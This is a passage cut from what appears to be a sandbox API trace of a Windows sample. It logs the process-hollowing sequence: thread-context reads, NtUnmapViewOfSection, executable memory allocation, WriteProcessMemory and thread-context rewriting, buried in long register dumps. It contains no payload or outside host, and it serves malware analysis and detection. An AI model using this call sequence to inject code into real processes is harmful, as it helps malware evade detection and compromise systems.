hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xd0b0000 | out: lpCommandLine=0x0, lpProcessInformation=0xd0b0000*(hProcess=0x63c, hThread=0x638, dwProcessId=0x9dc, dwThreadId=0x9e0)) returned 1 [0018.347] Wow64GetThreadContext (in: hThread=0x638, lpContext=0x53bf400*(ContextFlags=0x10000b, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x2, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x78, [445]=0x3c, [446]=0x87, [447]=0xfd, [448]=0xfe, [449]=0x7, [450]=0x0, [451]=0x0, [452]=0x2, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x2c, [461]=0x13, [462]=0x68, [463]=0xfd, [464]=0xfe, [465]=0x7, [466]=0x0, [467]=0x0, [468]=0xa0, [469]=0xc8, [470]=0xed, [471]=0x4, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0xa5, [485]=0x6, [486]=0xe3, [487]=0xf1, [488]=0xc0, [489]=0x1a, [490]=0x0, [491]=0x0, [492]=0x90, [493]=0x77, [494]=0xf0, [495]=0x4, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x26, [509]=0x3c, [510]=0x87, [511]=0xfd)) | out: lpContext=0x53bf400*(ContextFlags=0x1000b, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x4f2104, Ebp=0x0, Eip=0x777301c4, SegCs=0x23, EFlags=0x202, Esp=0xeff08, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x2, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x78, [445]=0x3c, [446]=0x87, [447]=0xfd, [448]=0xfe, [449]=0x7, [450]=0x0, [451]=0x0, [452]=0x2, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x2c, [461]=0x13, [462]=0x68, [463]=0xfd, [464]=0xfe, [465]=0x7, [466]=0x0, [467]=0x0, [468]=0xa0, [469]=0xc8, [470]=0xed, [471]=0x4, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0xa5, [485]=0x6, [486]=0xe3, [487]=0xf1, [488]=0xc0, [489]=0x1a, [490]=0x0, [491]=0x0, [492]=0x90, [493]=0x77, [494]=0xf0, [495]=0x4, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x26, [509]=0x3c, [510]=0x87, [511]=0xfd))) returned 1 [0018.597] NtUnmapViewOfSection (ProcessHandle=0x63c, BaseAddress=0x400000) returned 0xc0000019 [0018.597] VirtualAllocEx (hProcess=0x63c, lpAddress=0x400000, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0018.597] WriteProcessMemory (in: hProcess=0x63c, lpBaseAddress=0x400000, lpBuffer=0xd090000*, nSize=0x400, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xd090000*, lpNumberOfBytesWritten=0x0) returned 1 [0018.598] WriteProcessMemory (in: hProcess=0x63c, lpBaseAddress=0x401000, lpBuffer=0xd090400*, nSize=0x1e00, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xd090400*, lpNumberOfBytesWritten=0x0) returned 1 [0018.598] WriteProcessMemory (in: hProcess=0x63c, lpBaseAddress=0x403000, lpBuffer=0xd092200*, nSize=0x400, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xd092200*, lpNumberOfBytesWritten=0x0) returned 1 [0018.598] WriteProcessMemory (in: hProcess=0x63c, lpBaseAddress=0x404000, lpBuffer=0xd092600*, nSize=0xc00, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xd092600*, lpNumberOfBytesWritten=0x0) returned 1 [0018.598] WriteProcessMemory (in: hProcess=0x63c, lpBaseAddress=0x405000, lpBuffer=0xd093200*, nSize=0x2200, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xd093200*, lpNumberOfBytesWritten=0x0) returned 1 [0018.599] Wow64SetThreadContext (hThread=0x638, lpContext=0x53bf400*(ContextFlags=0x1000b, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x403360, Ebp=0x0, Eip=0x777301c4, SegCs=0x23, EFlags=0x202, Esp=0xeff08, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, 